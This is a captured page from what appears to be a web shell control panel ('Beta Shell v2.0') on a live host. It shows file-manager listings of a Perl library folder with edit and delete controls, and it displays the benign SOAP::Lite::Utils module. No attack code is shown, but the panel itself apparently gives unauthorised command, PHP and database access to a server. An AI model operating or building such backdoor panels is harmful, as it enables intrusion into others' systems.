Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
local
/
share
/
perl5
/
SOAP
/
Lite
Upload
5 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
Deserializer
-
drwxr-xr-x
2022-02-23 09:11:39
Del
Packager.pm
17.21 KB
-r--r--r--
2018-05-14 20:35:35
Edit
Del
Utils.pm
620 B
-r--r--r--
2018-05-14 20:35:35
Edit
Del
Editing: Utils.pm
(620 B)
Path: /usr/local/share/perl5/SOAP/Lite/Utils.pm
Back
package SOAP::Lite::Utils; use strict; our $VERSION = '1.27'; # VERSION sub import { my $caller = caller(); no strict qw(refs); *{ "$caller\::__mk_accessors" } = \&__mk_accessors; } sub __mk_accessors { my ($class, @method_from) = @_; no strict 'refs'; for my $method ( @method_from ) { my $field = '_' . $method; *{ "$class\::$method" } = sub { my $self = ref $_[0] ? shift : shift->new(); if (@_) { $self->{$field} = shift; return $self } return $self->{$field}; } } } 1; __END__